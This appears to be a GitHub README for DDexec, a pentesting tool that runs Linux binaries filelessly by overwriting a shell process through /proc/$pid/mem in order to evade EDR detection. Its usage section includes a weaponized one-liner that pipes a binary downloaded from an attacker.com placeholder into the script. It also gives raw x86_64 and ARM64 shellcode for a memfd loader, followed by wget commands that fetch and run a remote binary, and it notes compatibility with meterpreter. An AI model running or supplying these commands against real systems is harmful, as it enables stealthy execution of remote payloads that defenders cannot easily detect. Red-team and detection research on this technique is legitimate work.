arget13 / DDexec

A technique to run binaries filelessly and stealthily on Linux by "overwriting" the shell's process with another.
GNU General Public License v3.0
798 stars 83 forks source link
evasion linux pentesting pentesting-tools

DDexec

Context

In Linux in order to run a program it must exist as a file, it must be accessible in some way through the file system hierarchy (this is just how execve() works). This file may reside on disk or in ram (tmpfs, memfd) but you need a filepath. This has made very easy to control what is run on a Linux system, it makes easy to detect threats and attacker's tools or to prevent them from trying to execute anything of theirs at all (e. g. not allowing unprivileged users to place executable files anywhere).

But this technique is here to change all of this. If you can not start the process you want... then you hijack one already existing.

Usage

Pipe into the ddexec.sh script the base64 of the binary you want to run (without newlines). The arguments for the script are the arguments for the program (starting with argv[0]).

Here, try this:

base64 -w0 /bin/ls | bash ddexec.sh ls -lA

which is easily weaponizable with something like

wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

There is also the ddsc.sh script that allows you to run binary code directly. The following is an example of the use of a shellcode that will create a memfd (a file descriptor pointing to a file in memory) to which we can later write binaries and run them, from memory obviously.

bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4

In ARM64 the process is similar, only the shellcode changes

bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"

And yes. It works with meterpreter.

Tested Linux distributions are Debian, Alpine and Arch. Supported shells are bash, zsh and ash (busybox); on x86_64 and aarch64 (arm64) architectures.

EverythingExec

As of 12/12/2022 I have found a number of alternatives to dd, one of which, tail, is currently the default program used to lseek() through the mem file (which was the sole purpose for using dd). Said alternatives are:

tail
hexdump
cmp
xxd

Setting the variable SEEKER you may change the seeker used, e. g.:

SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

If you find another valid seeker not implemented in the script you may still use it setting the SEEKER_ARGS variable:

SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

Block this, EDRs.

Dependencies

This script depends on the following tools to work.

tail | dd | hexdump | any other program that allows us to seek through a fd
bash | zsh | ash (busybox)
head
tail
cut
grep
od
readlink
wc
tr
basename
base64

The technique

If you are able to modify arbitrarily the memory of a process then you can take over it. This can be used to hijack an already existing process and replace it with another program. We can achieve this either by using the ptrace() syscall (which requires you to have the ability to execute syscalls or to have gdb available on the system) or, more interestingly, writing to /proc/$pid/mem.

The file /proc/$pid/mem is a one-to-one mapping of the userland's address space of a process (e. g. from 0x0 to 0x7ffffffffffff000 in x86-64). This means that reading from or writing to this file at an offset x is the same as reading from or modifying the contents at the virtual address x.

Now, we have three basic problems to face:

But we have clever solutions:

In more detail

The steps are relatively easy and do not require any kind of expertise to understand them:

Oh, and all of this must be done in shell scripting, or what would be the point?

Contribute

Well, there are a couple of TODOs. Besides this, you may have noticed that I do not know much about shell scripting (I am more of a C programmer myself) and I am sure I must have won a decade worth of "useless use of a cat" awards (no cats were harmed in the making of this tool) and the rest of variants just with a fraction of this project.

Anyway, all contribution is welcome. Feel free to fork and PR.

Credit

Recently I have come to know that Sektor7 had already published this almost-exact same technique on their blog a few years ago.

Despite this, I thought this technique independently in, now almost, its entirety. Probably the smarter piece of this technique is the use of the inherited file descriptor, idea provided by David Buchanan (inspired, I think, by Sektor7's blog) almost a year before I even started thinking about this topic. This alone not only makes the technique much simpler and neat, it also makes it far deadlier by eliminating the need to disable ASLR. His tweet also made me realize how stupid I was for not noticing that mem allowed to write to non-writable pages, hence making the ROP unnecessary... This ultimately also has the desired effect of making this significantly easier to port to other ISAs.

Either way, I hope I will be able to spread this technique much further, which is what matters.

I would like to thank Carlos Polop, a great pentester and better friend, for making me think about this subject, and for his helpful feedback and interest, oh and I also owe him the name of the project. I am sure that if you are reading this you have already used his awesome tool PEASS and found helpful some article in his book HackTricks.

Now what?

You may:

Questions? Death threats?

Feel free to send me an email to yagogl@protonmail.com or to contact me through Twitter.